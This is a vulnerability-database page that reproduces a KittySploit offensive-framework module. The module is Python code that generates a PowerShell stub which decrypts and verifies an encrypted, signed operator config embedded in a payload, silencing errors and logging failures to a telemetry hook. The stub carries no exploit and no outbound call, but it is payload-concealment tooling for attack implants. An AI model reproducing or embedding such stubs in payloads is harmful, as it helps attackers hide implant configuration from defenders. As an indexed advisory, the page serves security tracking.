Lucene search
+L

Signed Config (PowerShell)

🗓️ 29 Sep 2026 10:07:34Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

KittySploit Signed Config (PowerShell) embeds encrypted and signed operator configs.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from typing import Any, Dict

from kittysploit import *
from core.payload_generation.prestage.signed_config_context import resolve_signed_config_context


class Module(Prestage):
    PRESTAGE_ID = "signed_config"

    __info__ = {
        "name": "Signed Config (PowerShell)",
        "description": "Embed encrypted and signed operator config separate from the payload body",
        "author": "KittySploit Team",
        "version": "1.0.0",
        "platform": Platform.MULTI,
        "languages": ["powershell"],
        "prestage_dependencies": ["telemetry_buffer"],
        "tags": ["prestage", "offline", "config", "powershell"],
    }

    config_json = OptString("", "Inline JSON object to encrypt/sign at generation time", False)
    config_file = OptFile("", "JSON config file on operator machine", False)
    config_secret = OptString("", "Encryption secret (default: kitty-signed-config)", False)
    config_sign_key = OptString("", "HMAC signing key (default: config_secret)", False)

    def generate_powershell(self, context: Dict[str, Any] = None) -> str:
        cfg = resolve_signed_config_context(self, context)
        blob_b64 = str(cfg.get("blob_b64") or "").strip()
        if not blob_b64:
            return "# signed_config: set prestage_config or config_json"
        secret = str(cfg.get("config_secret") or "kitty-signed-config").replace("'", "''")
        sign_key = str(cfg.get("config_sign_key") or secret).replace("'", "''")
        return f"""
$ErrorActionPreference='SilentlyContinue'
$global:_kittySignedConfigBlob='{blob_b64}'
$global:_kittySignedConfigSecret='{secret}'
$global:_kittySignedConfigSignKey='{sign_key}'
function _KittyDeriveKey([string]$secret,[byte[]]$salt) {{
  $derive=New-Object System.Security.Cryptography.Rfc2898DeriveBytes($secret,$salt,120000,[System.Security.Cryptography.HashAlgorithmName]::SHA256)
  return $derive.GetBytes(32)
}}
function _KittyXorStream([byte[]]$data,[byte[]]$key) {{
  $out=New-Object byte[] $data.Length
  for($i=0;$i -lt $data.Length;$i++){{ $out[$i]=$data[$i] -bxor $key[$i % $key.Length] }}
  return $out
}}
function _KittyUnpackSignedConfig([string]$blobB64,[string]$secret,[string]$signKey) {{
  $outer=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($blobB64))
  $env=$outer | ConvertFrom-Json
  $salt=[Convert]::FromBase64String([string]$env.salt)
  $payload=[Convert]::FromBase64String([string]$env.data)
  $key=_KittyDeriveKey ($secret) $salt
  $plain=_KittyXorStream $payload $key
  $hmac=New-Object System.Security.Cryptography.HMACSHA256([Text.Encoding]::UTF8.GetBytes($signKey))
  $sig=([BitConverter]::ToString($hmac.ComputeHash($plain))).Replace('-','').ToLower()
  if($sig -ne [string]$env.sig){{ throw 'signed_config signature mismatch' }}
  return ([Text.Encoding]::UTF8.GetString($plain) | ConvertFrom-Json)
}}
$global:_kitty_signed_config=$null
$global:_kitty_signed_config_error=''
try {{
  if($global:_kittySignedConfigBlob){{
    $global:_kitty_signed_config=_KittyUnpackSignedConfig $global:_kittySignedConfigBlob $global:_kittySignedConfigSecret $global:_kittySignedConfigSignKey
  }}
}} catch {{
  $global:_kitty_signed_config_error=$_.Exception.Message
  try {{ _KittyTelemetryRecord 'signed_config' 'unpack_failed' $global:_kitty_signed_config_error }} catch {{}}
}}
""".strip()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Sep 2026 10:07Current
5.9Medium risk
Vulners AI Score5.9
2